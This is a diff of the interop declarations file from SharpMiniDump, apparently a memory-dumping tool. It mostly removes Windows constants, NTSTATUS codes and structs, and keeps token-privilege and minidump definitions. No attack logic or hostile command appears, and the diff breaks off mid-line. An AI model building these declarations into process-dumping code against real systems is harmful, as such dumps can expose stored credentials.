-// Project: SharpMiniDump (https://github.com/b4rtik/SharpMiniDump) -// License: BSD 3-Clause -// - -using System; +using System; using System.Runtime.InteropServices; namespace SharpMiniDump { class Natives { + public const int FILE_MAP_READ = 0x0004; public const int FILE_READ_DATA = 0x0001; // file & pipe - public const int FILE_LIST_DIRECTORY = 0x0001; // directory public const int FILE_WRITE_DATA = 0x0002; // file & pipe - public const int FILE_ADD_FILE = 0x0002; // directory public const int FILE_APPEND_DATA = 0x0004; // file - public const int FILE_ADD_SUBDIRECTORY = 0x0004; // directory - public const int FILE_CREATE_PIPE_INSTANCE = 0x0004; // named pipe public const int FILE_READ_EA = 0x0008; // file & directory public const int FILE_WRITE_EA = 0x0010; // file & directory - public const int FILE_EXECUTE = 0x0020; // file - public const int FILE_TRAVERSE = 0x0020; // directory - public const int FILE_DELETE_CHILD = 0x0040; // directory public const int FILE_READ_ATTRIBUTES = 0x0080; // all public const int FILE_WRITE_ATTRIBUTES = 0x0100; // all public const int FILE_OVERWRITE_IF = 0x00000005; public const int FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020; + public const int MAXIMUM_ALLOWED = 0x02000000; public const long READ_CONTROL = 0x00020000; public const long SYNCHRONIZE = 0x00100000; public const long STANDARD_RIGHTS_WRITE = READ_CONTROL; - public const long STANDARD_RIGHTS_EXECUTE = READ_CONTROL; - public const long STANDARD_RIGHTS_ALL = 0x001F0000; - - public const long SPECIFIC_RIGHTS_ALL = 0x0000FFFF; - public const long FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF; public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; @@ -48,12 +32,10 @@ class Natives public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; - public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID); - public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); public const UInt32 SE_PRIVILEGE_ENABLED = 0x2; @@ -69,59 +51,8 @@ class Natives FILE_WRITE_EA | FILE_APPEND_DATA | SYNCHRONIZE; - - public const long FILE_GENERIC_EXECUTE = STANDARD_RIGHTS_EXECUTE | - FILE_READ_ATTRIBUTES | - FILE_EXECUTE | - SYNCHRONIZE; - - public const int FILE_SHARE_READ = 0x00000001; - public const int FILE_SHARE_WRITE = 0x00000002; - public const int FILE_SHARE_DELETE = 0x00000004; - public const int FILE_ATTRIBUTE_READONLY = 0x00000001; - public const int FILE_ATTRIBUTE_HIDDEN = 0x00000002; - public const int FILE_ATTRIBUTE_SYSTEM = 0x00000004; - public const int FILE_ATTRIBUTE_DIRECTORY = 0x00000010; - public const int FILE_ATTRIBUTE_ARCHIVE = 0x00000020; - public const int FILE_ATTRIBUTE_DEVICE = 0x00000040; + public const int FILE_ATTRIBUTE_NORMAL = 0x00000080; - public const int FILE_ATTRIBUTE_TEMPORARY = 0x00000100; - public const int FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200; - public const int FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400; - public const int FILE_ATTRIBUTE_COMPRESSED = 0x00000800; - public const int FILE_ATTRIBUTE_OFFLINE = 0x00001000; - public const int FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000; - public const int FILE_ATTRIBUTE_ENCRYPTED = 0x00004000; - public const int FILE_NOTIFY_CHANGE_FILE_NAME = 0x00000001; - public const int FILE_NOTIFY_CHANGE_DIR_NAME = 0x00000002; - public const int FILE_NOTIFY_CHANGE_ATTRIBUTES = 0x00000004; - public const int FILE_NOTIFY_CHANGE_SIZE = 0x00000008; - public const int FILE_NOTIFY_CHANGE_LAST_WRITE = 0x00000010; - public const int FILE_NOTIFY_CHANGE_LAST_ACCESS = 0x00000020; - public const int FILE_NOTIFY_CHANGE_CREATION = 0x00000040; - public const int FILE_NOTIFY_CHANGE_SECURITY = 0x00000100; - public const int FILE_ACTION_ADDED = 0x00000001; - public const int FILE_ACTION_REMOVED = 0x00000002; - public const int FILE_ACTION_MODIFIED = 0x00000003; - public const int FILE_ACTION_RENAMED_OLD_NAME = 0x00000004; - public const int FILE_ACTION_RENAMED_NEW_NAME = 0x00000005; - public const int MAILSLOT_NO_MESSAGE = -1; - public const int MAILSLOT_WAIT_FOREVER = -1; - public const int FILE_CASE_SENSITIVE_SEARCH = 0x00000001; - public const int FILE_CASE_PRESERVED_NAMES = 0x00000002; - public const int FILE_UNICODE_ON_DISK = 0x00000004; - public const int FILE_PERSISTENT_ACLS = 0x00000008; - public const int FILE_FILE_COMPRESSION = 0x00000010; - public const int FILE_VOLUME_QUOTAS = 0x00000020; - public const int FILE_SUPPORTS_SPARSE_FILES = 0x00000040; - public const int FILE_SUPPORTS_REPARSE_POINTS = 0x00000080; - public const int FILE_SUPPORTS_REMOTE_STORAGE = 0x00000100; - public const int FILE_VOLUME_IS_COMPRESSED = 0x00008000; - public const int FILE_SUPPORTS_OBJECT_IDS = 0x00010000; - public const int FILE_SUPPORTS_ENCRYPTION = 0x00020000; - public const int FILE_NAMED_STREAMS = 0x00040000; - public const int FILE_READ_ONLY_VOLUME = 0x00080000; - public const int CREATE_ALWAYS = 2; public struct WIN_VER_INFO { @@ -149,9 +80,7 @@ public struct OSVERSIONINFOEXW public byte wProductType; public byte wReserved; } - - - + [StructLayout(LayoutKind.Sequential)] public struct LARGE_INTEGER { @@ -167,45 +96,6 @@ public struct UNICODE_STRING public IntPtr Buffer; } - [StructLayout(LayoutKind.Sequential)] - public struct SYSTEM_PROCESSES - { - public int NextEntryOffset; - public int NumberOfThreads; - public LARGE_INTEGER WorkingSetPrivateSize; - public uint HardFaultCount; - public uint NumberOfThreadsHighWatermark; - public ulong CycleTime; - public long CreateTime; - public long UserTime; - public long KernelTime; - public UNICODE_STRING ImageName; - public int BasePriority; - public IntPtr UniqueProcessId; - public IntPtr InheritedFromUniqueProcessId; - public int HandleCount; - public int SessionId; - public IntPtr UniqueProcessKey; - public IntPtr PeakVirtualSize; - public IntPtr VirtualSize; - public uint PageFaultCount; - public IntPtr PeakWorkingSetSize; - public IntPtr WorkingSetSize; - public IntPtr QuotaPeakPagedPoolUsage; - public IntPtr QuotaPagedPoolUsage; - public IntPtr QuotaPeakNonPagedPoolUsage; - public IntPtr QuotaNonPagedPoolUsage; - public IntPtr PagefileUsage; - public IntPtr PeakPagefileUsage; - public IntPtr PrivatePageCount; - public LARGE_INTEGER ReadOperationCount; - public LARGE_INTEGER WriteOperationCount; - public LARGE_INTEGER OtherOperationCount; - public LARGE_INTEGER ReadTransferCount; - public LARGE_INTEGER WriteTransferCount; - public LARGE_INTEGER OtherTransferCount; - } - [StructLayout(LayoutKind.Sequential)] public struct LUID_AND_ATTRIBUTES { @@ -272,498 +162,7 @@ public struct OBJECT_ATTRIBUTES public enum NTSTATUS : uint { // Success - Success = 0x00000000, - Wait0 = 0x00000000, - Wait1 = 0x00000001, - Wait2 = 0x00000002, - Wait3 = 0x00000003, - Wait63 = 0x0000003f, - Abandoned = 0x00000080, - AbandonedWait0 = 0x00000080, - AbandonedWait1 = 0x00000081, - AbandonedWait2 = 0x00000082, - AbandonedWait3 = 0x00000083, - AbandonedWait63 = 0x000000bf, - UserApc = 0x000000c0, - KernelApc = 0x00000100, - Alerted = 0x00000101, - Timeout = 0x00000102, - Pending = 0x00000103, - Reparse = 0x00000104, - MoreEntries = 0x00000105, - NotAllAssigned = 0x00000106, - SomeNotMapped = 0x00000107, - OpLockBreakInProgress = 0x00000108, - VolumeMounted = 0x00000109, - RxActCommitted = 0x0000010a, - NotifyCleanup = 0x0000010b, - NotifyEnumDir = 0x0000010c, - NoQuotasForAccount = 0x0000010d, - PrimaryTransportConnectFailed = 0x0000010e, - PageFaultTransition = 0x00000110, - PageFaultDemandZero = 0x00000111, - PageFaultCopyOnWrite = 0x00000112, - PageFaultGuardPage = 0x00000113, - PageFaultPagingFile = 0x00000114, - CrashDump = 0x00000116, - ReparseObject = 0x00000118, - NothingToTerminate = 0x00000122, - ProcessNotInJob = 0x00000123, - ProcessInJob = 0x00000124, - ProcessCloned = 0x00000129, - FileLockedWithOnlyReaders = 0x0000012a, - FileLockedWithWriters = 0x0000012b, - - // Informational - Informational = 0x40000000, - ObjectNameExists = 0x40000000, - ThreadWasSuspended = 0x40000001, - WorkingSetLimitRange = 0x40000002, - ImageNotAtBase = 0x40000003, - RegistryRecovered = 0x40000009, - - // Warning - Warning = 0x80000000, - GuardPageViolation = 0x80000001, - DatatypeMisalignment = 0x80000002, - Breakpoint = 0x80000003, - SingleStep = 0x80000004, - BufferOverflow = 0x80000005, - NoMoreFiles = 0x80000006, - HandlesClosed = 0x8000000a, - PartialCopy = 0x8000000d, - DeviceBusy = 0x80000011, - InvalidEaName = 0x80000013, - EaListInconsistent = 0x80000014, - NoMoreEntries = 0x8000001a, - LongJump = 0x80000026, - DllMightBeInsecure = 0x8000002b, - - // Error - Error = 0xc0000000, - Unsuccessful = 0xc0000001, - NotImplemented = 0xc0000002, - InvalidInfoClass = 0xc0000003, - InfoLengthMismatch = 0xc0000004, - AccessViolation = 0xc0000005, - InPageError = 0xc0000006, - PagefileQuota = 0xc0000007, - InvalidHandle = 0xc0000008, - BadInitialStack = 0xc0000009, - BadInitialPc = 0xc000000a, - InvalidCid = 0xc000000b, - TimerNotCanceled = 0xc000000c, - InvalidParameter = 0xc000000d, - NoSuchDevice = 0xc000000e, - NoSuchFile = 0xc000000f, - InvalidDeviceRequest = 0xc0000010, - EndOfFile = 0xc0000011, - WrongVolume = 0xc0000012, - NoMediaInDevice = 0xc0000013, - NoMemory = 0xc0000017, - ConflictingAddresses = 0xc0000018, - NotMappedView = 0xc0000019, - UnableToFreeVm = 0xc000001a, - UnableToDeleteSection = 0xc000001b, - IllegalInstruction = 0xc000001d, - AlreadyCommitted = 0xc0000021, - AccessDenied = 0xc0000022, - BufferTooSmall = 0xc0000023, - ObjectTypeMismatch = 0xc0000024, - NonContinuableException = 0xc0000025, - BadStack = 0xc0000028, - NotLocked = 0xc000002a, - NotCommitted = 0xc000002d, - InvalidParameterMix = 0xc0000030, - ObjectNameInvalid = 0xc0000033, - ObjectNameNotFound = 0xc0000034, - ObjectNameCollision = 0xc0000035, - ObjectPathInvalid = 0xc0000039, - ObjectPathNotFound = 0xc000003a, - ObjectPathSyntaxBad = 0xc000003b, - DataOverrun = 0xc000003c, - DataLate = 0xc000003d, - DataError = 0xc000003e, - CrcError = 0xc000003f, - SectionTooBig = 0xc0000040, - PortConnectionRefused = 0xc0000041, - InvalidPortHandle = 0xc0000042, - SharingViolation = 0xc0000043, - QuotaExceeded = 0xc0000044, - InvalidPageProtection = 0xc0000045, - MutantNotOwned = 0xc0000046, - SemaphoreLimitExceeded = 0xc0000047, - PortAlreadySet = 0xc0000048, - SectionNotImage = 0xc0000049, - SuspendCountExceeded = 0xc000004a, - ThreadIsTerminating = 0xc000004b, - BadWorkingSetLimit = 0xc000004c, - IncompatibleFileMap = 0xc000004d, - SectionProtection = 0xc000004e, - EasNotSupported = 0xc000004f, - EaTooLarge = 0xc0000050, - NonExistentEaEntry = 0xc0000051, - NoEasOnFile = 0xc0000052, - EaCorruptError = 0xc0000053, - FileLockConflict = 0xc0000054, - LockNotGranted = 0xc0000055, - DeletePending = 0xc0000056, - CtlFileNotSupported = 0xc0000057, - UnknownRevision = 0xc0000058, - RevisionMismatch = 0xc0000059, - InvalidOwner = 0xc000005a, - InvalidPrimaryGroup = 0xc000005b, - NoImpersonationToken = 0xc000005c, - CantDisableMandatory = 0xc000005d, - NoLogonServers = 0xc000005e, - NoSuchLogonSession = 0xc000005f, - NoSuchPrivilege = 0xc0000060, - PrivilegeNotHeld = 0xc0000061, - InvalidAccountName = 0xc0000062, - UserExists = 0xc0000063, - NoSuchUser = 0xc0000064, - GroupExists = 0xc0000065, - NoSuchGroup = 0xc0000066, - MemberInGroup = 0xc0000067, - MemberNotInGroup = 0xc0000068, - LastAdmin = 0xc0000069, - WrongPassword = 0xc000006a, - IllFormedPassword = 0xc000006b, - PasswordRestriction = 0xc000006c, - LogonFailure = 0xc000006d, - AccountRestriction = 0xc000006e, - InvalidLogonHours = 0xc000006f, - InvalidWorkstation = 0xc0000070, - PasswordExpired = 0xc0000071, - AccountDisabled = 0xc0000072, - NoneMapped = 0xc0000073, - TooManyLuidsRequested = 0xc0000074, - LuidsExhausted = 0xc0000075, - InvalidSubAuthority = 0xc0000076, - InvalidAcl = 0xc0000077, - InvalidSid = 0xc0000078, - InvalidSecurityDescr = 0xc0000079, - ProcedureNotFound = 0xc000007a, - InvalidImageFormat = 0xc000007b, - NoToken = 0xc000007c, - BadInheritanceAcl = 0xc000007d, - RangeNotLocked = 0xc000007e, - DiskFull = 0xc000007f, - ServerDisabled = 0xc0000080, - ServerNotDisabled = 0xc0000081, - TooManyGuidsRequested = 0xc0000082, - GuidsExhausted = 0xc0000083, - InvalidIdAuthority = 0xc0000084, - AgentsExhausted = 0xc0000085, - InvalidVolumeLabel = 0xc0000086, - SectionNotExtended = 0xc0000087, - NotMappedData = 0xc0000088, - ResourceDataNotFound = 0xc0000089, - ResourceTypeNotFound = 0xc000008a, - ResourceNameNotFound = 0xc000008b, - ArrayBoundsExceeded = 0xc000008c, - FloatDenormalOperand = 0xc000008d, - FloatDivideByZero = 0xc000008e, - FloatInexactResult = 0xc000008f, - FloatInvalidOperation = 0xc0000090, - FloatOverflow = 0xc0000091, - FloatStackCheck = 0xc0000092, - FloatUnderflow = 0xc0000093, - IntegerDivideByZero = 0xc0000094, - IntegerOverflow = 0xc0000095, - PrivilegedInstruction = 0xc0000096, - TooManyPagingFiles = 0xc0000097, - FileInvalid = 0xc0000098, - InstanceNotAvailable = 0xc00000ab, - PipeNotAvailable = 0xc00000ac, - InvalidPipeState = 0xc00000ad, - PipeBusy = 0xc00000ae, - IllegalFunction = 0xc00000af, - PipeDisconnected = 0xc00000b0, - PipeClosing = 0xc00000b1, - PipeConnected = 0xc00000b2, - PipeListening = 0xc00000b3, - InvalidReadMode = 0xc00000b4, - IoTimeout = 0xc00000b5, - FileForcedClosed = 0xc00000b6, - ProfilingNotStarted = 0xc00000b7, - ProfilingNotStopped = 0xc00000b8, - NotSameDevice = 0xc00000d4, - FileRenamed = 0xc00000d5, - CantWait = 0xc00000d8, - PipeEmpty = 0xc00000d9, - CantTerminateSelf = 0xc00000db, - InternalError = 0xc00000e5, - InvalidParameter1 = 0xc00000ef, - InvalidParameter2 = 0xc00000f0, - InvalidParameter3 = 0xc00000f1, - InvalidParameter4 = 0xc00000f2, - InvalidParameter5 = 0xc00000f3, - InvalidParameter6 = 0xc00000f4, - InvalidParameter7 = 0xc00000f5, - InvalidParameter8 = 0xc00000f6, - InvalidParameter9 = 0xc00000f7, - InvalidParameter10 = 0xc00000f8, - InvalidParameter11 = 0xc00000f9, - InvalidParameter12 = 0xc00000fa, - MappedFileSizeZero = 0xc000011e, - TooManyOpenedFiles = 0xc000011f, - Cancelled = 0xc0000120, - CannotDelete = 0xc0000121, - InvalidComputerName = 0xc0000122, - FileDeleted = 0xc0000123, - SpecialAccount = 0xc0000124, - SpecialGroup = 0xc0000125, - SpecialUser = 0xc0000126, - MembersPrimaryGroup = 0xc0000127, - FileClosed = 0xc0000128, - TooManyThreads = 0xc0000129, - ThreadNotInProcess = 0xc000012a, - TokenAlreadyInUse = 0xc000012b, - PagefileQuotaExceeded = 0xc000012c, - CommitmentLimit = 0xc000012d, - InvalidImageLeFormat = 0xc000012e, - InvalidImageNotMz = 0xc000012f, - InvalidImageProtect = 0xc0000130, - InvalidImageWin16 = 0xc0000131, - LogonServer = 0xc0000132, - DifferenceAtDc = 0xc0000133, - SynchronizationRequired = 0xc0000134, - DllNotFound = 0xc0000135, - IoPrivilegeFailed = 0xc0000137, - OrdinalNotFound = 0xc0000138, - EntryPointNotFound = 0xc0000139, - ControlCExit = 0xc000013a, - PortNotSet = 0xc0000353, - DebuggerInactive = 0xc0000354, - CallbackBypass = 0xc0000503, - PortClosed = 0xc0000700, - MessageLost = 0xc0000701, - InvalidMessage = 0xc0000702, - RequestCanceled = 0xc0000703, - RecursiveDispatch = 0xc0000704, - LpcReceiveBufferExpected = 0xc0000705, - LpcInvalidConnectionUsage = 0xc0000706, - LpcRequestsNotAllowed = 0xc0000707, - ResourceInUse = 0xc0000708, - ProcessIsProtected = 0xc0000712, - VolumeDirty = 0xc0000806, - FileCheckedOut = 0xc0000901, - CheckOutRequired = 0xc0000902, - BadFileType = 0xc0000903, - FileTooLarge = 0xc0000904, - FormsAuthRequired = 0xc0000905, - VirusInfected = 0xc0000906, - VirusDeleted = 0xc0000907, - TransactionalConflict = 0xc0190001, - InvalidTransaction = 0xc0190002, - TransactionNotActive = 0xc0190003, - TmInitializationFailed = 0xc0190004, - RmNotActive = 0xc0190005, - RmMetadataCorrupt = 0xc0190006, - TransactionNotJoined = 0xc0190007, - DirectoryNotRm = 0xc0190008, - CouldNotResizeLog = 0xc0190009, - TransactionsUnsupportedRemote = 0xc019000a, - LogResizeInvalidSize = 0xc019000b, - RemoteFileVersionMismatch = 0xc019000c, - CrmProtocolAlreadyExists = 0xc019000f, - TransactionPropagationFailed = 0xc0190010, - CrmProtocolNotFound = 0xc0190011, - TransactionSuperiorExists = 0xc0190012, - TransactionRequestNotValid = 0xc0190013, - TransactionNotRequested = 0xc0190014, - TransactionAlreadyAborted = 0xc0190015, - TransactionAlreadyCommitted = 0xc0190016, - TransactionInvalidMarshallBuffer = 0xc0190017, - CurrentTransactionNotValid = 0xc0190018, - LogGrowthFailed = 0xc0190019, - ObjectNoLongerExists = 0xc0190021, - StreamMiniversionNotFound = 0xc0190022, - StreamMiniversionNotValid = 0xc0190023, - MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, - CantOpenMiniversionWithModifyIntent = 0xc0190025, - CantCreateMoreStreamMiniversions = 0xc0190026, - HandleNoLongerValid = 0xc0190028, - NoTxfMetadata = 0xc0190029, - LogCorruptionDetected = 0xc0190030, - CantRecoverWithHandleOpen = 0xc0190031, - RmDisconnected = 0xc0190032, - EnlistmentNotSuperior = 0xc0190033, - RecoveryNotNeeded = 0xc0190034, - RmAlreadyStarted = 0xc0190035, - FileIdentityNotPersistent = 0xc0190036, - CantBreakTransactionalDependency = 0xc0190037, - CantCrossRmBoundary = 0xc0190038, - TxfDirNotEmpty = 0xc0190039, - IndoubtTransactionsExist = 0xc019003a, - TmVolatile = 0xc019003b, - RollbackTimerExpired = 0xc019003c, - TxfAttributeCorrupt = 0xc019003d, - EfsNotAllowedInTransaction = 0xc019003e, - TransactionalOpenNotAllowed = 0xc019003f, - TransactedMappingUnsupportedRemote = 0xc0190040, - TxfMetadataAlreadyPresent = 0xc0190041, - TransactionScopeCallbacksNotSet = 0xc0190042, - TransactionRequiredPromotion = 0xc0190043, - CannotExecuteFileInTransaction = 0xc0190044, - TransactionsNotFrozen = 0xc0190045, - - MaximumNtStatus = 0xffffffff - } - - public enum SYSTEM_INFORMATION_CLASS - { - SystemBasicInformation = 0x0000, - SystemProcessorInformation = 0x0001, - SystemPerformanceInformation = 0x0002, - SystemTimeOfDayInformation = 0x0003, - SystemPathInformation = 0x0004, - SystemProcessInformation = 0x0005, - SystemCallCountInformation = 0x0006, - SystemDeviceInformation = 0x0007, - SystemProcessorPerformanceInformation = 0x0008, - SystemFlagsInformation = 0x0009, - SystemCallTimeInformation = 0x000A, - SystemModuleInformation = 0x000B, - SystemLocksInformation = 0x000C, - SystemStackTraceInformation = 0x000D, - SystemPagedPoolInformation = 0x000E, - SystemNonPagedPoolInformation = 0x000F, - SystemHandleInformation = 0x0010, - SystemObjectInformation = 0x0011, - SystemPageFileInformation = 0x0012, - SystemVdmInstemulInformation = 0x0013, - SystemVdmBopInformation = 0x0014, - SystemFileCacheInformation = 0x0015, - SystemPoolTagInformation = 0x0016, - SystemInterruptInformation = 0x0017, - SystemDpcBehaviorInformation = 0x0018, - SystemFullMemoryInformation = 0x0019, - SystemLoadGdiDriverInformation = 0x001A, - SystemUnloadGdiDriverInformation = 0x001B, - SystemTimeAdjustmentInformation = 0x001C, - SystemSummaryMemoryInformation = 0x001D, - SystemMirrorMemoryInformation = 0x001E, - SystemPerformanceTraceInformation = 0x001F, - SystemCrashDumpInformation = 0x0020, - SystemExceptionInformation = 0x0021, - SystemCrashDumpStateInformation = 0x0022, - SystemKernelDebuggerInformation = 0x0023, - SystemContextSwitchInformation = 0x0024, - SystemRegistryQuotaInformation = 0x0025, - SystemExtendServiceTableInformation = 0x0026, - SystemPrioritySeperation = 0x0027, - SystemVerifierAddDriverInformation = 0x0028, - SystemVerifierRemoveDriverInformation = 0x0029, - SystemProcessorIdleInformation = 0x002A, - SystemLegacyDriverInformation = 0x002B, - SystemCurrentTimeZoneInformation = 0x002C, - SystemLookasideInformation = 0x002D, - SystemTimeSlipNotification = 0x002E, - SystemSessionCreate = 0x002F, - SystemSessionDetach = 0x0030, - SystemSessionInformation = 0x0031, - SystemRangeStartInformation = 0x0032, - SystemVerifierInformation = 0x0033, - SystemVerifierThunkExtend = 0x0034, - SystemSessionProcessInformation = 0x0035, - SystemLoadGdiDriverInSystemSpace = 0x0036, - SystemNumaProcessorMap = 0x0037, - SystemPrefetcherInformation = 0x0038, - SystemExtendedProcessInformation = 0x0039, - SystemRecommendedSharedDataAlignment = 0x003A, - SystemComPlusPackage = 0x003B, - SystemNumaAvailableMemory = 0x003C, - SystemProcessorPowerInformation = 0x003D, - SystemEmulationBasicInformation = 0x003E, - SystemEmulationProcessorInformation = 0x003F, - SystemExtendedHandleInformation = 0x0040, - SystemLostDelayedWriteInformation = 0x0041, - SystemBigPoolInformation = 0x0042, - SystemSessionPoolTagInformation = 0x0043, - SystemSessionMappedViewInformation = 0x0044, - SystemHotpatchInformation = 0x0045, - SystemObjectSecurityMode = 0x0046, - SystemWatchdogTimerHandler = 0x0047, - SystemWatchdogTimerInformation = 0x0048, - SystemLogicalProcessorInformation = 0x0049, - SystemWow64SharedInformationObsolete = 0x004A, - SystemRegisterFirmwareTableInformationHandler = 0x004B, - SystemFirmwareTableInformation = 0x004C, - SystemModuleInformationEx = 0x004D, - SystemVerifierTriageInformation = 0x004E, - SystemSuperfetchInformation = 0x004F, - SystemMemoryListInformation = 0x0050, - SystemFileCacheInformationEx = 0x0051, - SystemThreadPriorityClientIdInformation = 0x0052, - SystemProcessorIdleCycleTimeInformation = 0x0053, - SystemVerifierCancellationInformation = 0x0054, - SystemProcessorPowerInformationEx = 0x0055, - SystemRefTraceInformation = 0x0056, - SystemSpecialPoolInformation = 0x0057, - SystemProcessIdInformation = 0x0058, - SystemErrorPortInformation = 0x0059, - SystemBootEnvironmentInformation = 0x005A, - SystemHypervisorInformation = 0x005B, - SystemVerifierInformationEx = 0x005C, - SystemTimeZoneInformation = 0x005D, - SystemImageFileExecutionOptionsInformation = 0x005E, - SystemCoverageInformation = 0x005F, - SystemPrefetchPatchInformation = 0x0060, - SystemVerifierFaultsInformation = 0x0061, - SystemSystemPartitionInformation = 0x0062, - SystemSystemDiskInformation = 0x0063, - SystemProcessorPerformanceDistribution = 0x0064, - SystemNumaProximityNodeInformation = 0x0065, - SystemDynamicTimeZoneInformation = 0x0066, - SystemCodeIntegrityInformation = 0x0067, - SystemProcessorMicrocodeUpdateInformation = 0x0068, - SystemProcessorBrandString = 0x0069, - SystemVirtualAddressInformation = 0x006A, - SystemLogicalProcessorAndGroupInformation = 0x006B, - SystemProcessorCycleTimeInformation = 0x006C, - SystemStoreInformation = 0x006D, - SystemRegistryAppendString = 0x006E, - SystemAitSamplingValue = 0x006F, - SystemVhdBootInformation = 0x0070, - SystemCpuQuotaInformation = 0x0071, - SystemNativeBasicInformation = 0x0072, - SystemErrorPortTimeouts = 0x0073, - SystemLowPriorityIoInformation = 0x0074, - SystemBootEntropyInformation = 0x0075, - SystemVerifierCountersInformation = 0x0076, - SystemPagedPoolInformationEx = 0x0077, - SystemSystemPtesInformationEx = 0x0078, - SystemNodeDistanceInformation = 0x0079, - SystemAcpiAuditInformation = 0x007A, - SystemBasicPerformanceInformation = 0x007B, - SystemQueryPerformanceCounterInformation = 0x007C, - SystemSessionBigPoolInformation = 0x007D, - SystemBootGraphicsInformation = 0x007E, - SystemScrubPhysicalMemoryInformation = 0x007F, - SystemBadPageInformation = 0x0080, - SystemProcessorProfileControlArea = 0x0081, - SystemCombinePhysicalMemoryInformation = 0x0082, - SystemEntropyInterruptTimingInformation = 0x0083, - SystemConsoleInformation = 0x0084, - SystemPlatformBinaryInformation = 0x0085, - SystemThrottleNotificationInformation = 0x0086, - SystemHypervisorProcessorCountInformation = 0x0087, - SystemDeviceDataInformation = 0x0088, - SystemDeviceDataEnumerationInformation = 0x0089, - SystemMemoryTopologyInformation = 0x008A, - SystemMemoryChannelInformation = 0x008B, - SystemBootLogoInformation = 0x008C, - SystemProcessorPerformanceInformationEx = 0x008D, - SystemSpare0 = 0x008E, - SystemSecureBootPolicyInformation = 0x008F, - SystemPageFileInformationEx = 0x0090, - SystemSecureBootInformation = 0x0091, - SystemEntropyInterruptTimingRawInformation = 0x0092, - SystemPortableWorkspaceEfiLauncherInformation = 0x0093, - SystemFullProcessInformation = 0x0094, - MaxSystemInfoClass = 0x0095 + Success = 0x00000000 } public struct TOKEN_ELEVATION { @@ -814,13 +213,6 @@ public enum TOKEN_INFORMATION_CLASS TokenIsRestricted, MaxTokenInfoClass } - - public enum TOKEN_ELEVATION_TYPE - { - TokenElevationTypeDefault = 1, - TokenElevationTypeFull, - TokenElevationTypeLimited - } public enum PSS_CAPTURE_FLAGS { PSS_CAPTURE_NONE, @@ -889,64 +281,7 @@ public struct MINIDUMP_THREAD_EX_CALLBACK public ulong BackingStoreBase; public ulong BackingStoreEnd; } - - enum VS_FIXEDFILEINFO_FileFlags : uint - { - VS_FF_DEBUG = 0x00000001, - VS_FF_INFOINFERRED = 0x00000010, - VS_FF_PATCHED = 0x00000004, - VS_FF_PRERELEASE = 0x00000002, - VS_FF_PRIVATEBUILD = 0x00000008, - VS_FF_SPECIALBUILD = 0x00000020 - } - - enum VS_FIXEDFILEINFO_FileOSFlags : uint - { - VOS_DOS = 0x00010000, - VOS_NT = 0x00040000, - VOS__WINDOWS16 = 0x00000001, - VOS__WINDOWS32 = 0x00000004, - VOS_OS216 = 0x00020000, - VOS_OS232 = 0x00030000, - VOS__PM16 = 0x00000002, - VOS__PM32 = 0x00000003, - VOS_UNKNOWN = 0x00000000 - } - - enum VS_FIXEDFILEINFO_FileTypeFlags : uint - { - VFT_APP = 0x00000001, - VFT_DLL = 0x00000002, - VFT_DRV = 0x00000003, - VFT_FONT = 0x00000004, - VFT_STATIC_LIB = 0x00000007, - VFT_UNKNOWN = 0x00000000, - VFT_VXD = 0x00000005 - } - - enum VS_FIXEFILEINFO_FileSubTypeFlags : uint - { - // If the FileType is VFT_DRV - VFT2_DRV_COMM = 0x0000000A, - VFT2_DRV_DISPLAY = 0x00000004, - VFT2_DRV_INSTALLABLE = 0x00000008, - VFT2_DRV_KEYBOARD = 0x00000002, - VFT2_DRV_LANGUAGE = 0x00000003, - VFT2_DRV_MOUSE = 0x00000005, - VFT2_DRV_NETWORK = 0x00000006, - VFT2_DRV_PRINTER = 0x00000001, - VFT2_DRV_SOUND = 0x00000009, - VFT2_DRV_SYSTEM = 0x00000007, - VFT2_DRV_VERSIONED_PRINTER = 0x0000000C, - - // If the FileType is VFT_FONT - VFT2_FONT_RASTER = 0x00000001, - VFT2_FONT_TRUETYPE = 0x00000003, - VFT2_FONT_VECTOR = 0x00000002, - - VFT2_UNKNOWN = 0x00000000 - } - + [StructLayout(LayoutKind.Sequential, Pack = 4)] public struct VS_FIXEDFILEINFO { @@ -1178,151 +513,14 @@ public struct MINIDUMP_CALLBACK_INFORMATION public MINIDUMP_CALLBACK_ROUTINE CallbackRoutine; public IntPtr CallbackParam; } - - public enum CONTEXT_FLAGS : uint - { - CONTEXT_i386 = 0x10000, - CONTEXT_i486 = 0x10000, // same as i386 - CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP - CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI - CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS - CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state - CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7 - CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions - CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS, - CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS - } - - [StructLayout(LayoutKind.Sequential)] - public struct M128A - { - public ulong High; - public long Low; - - public override string ToString() - { - return string.Format("High:{0}, Low:{1}", this.High, 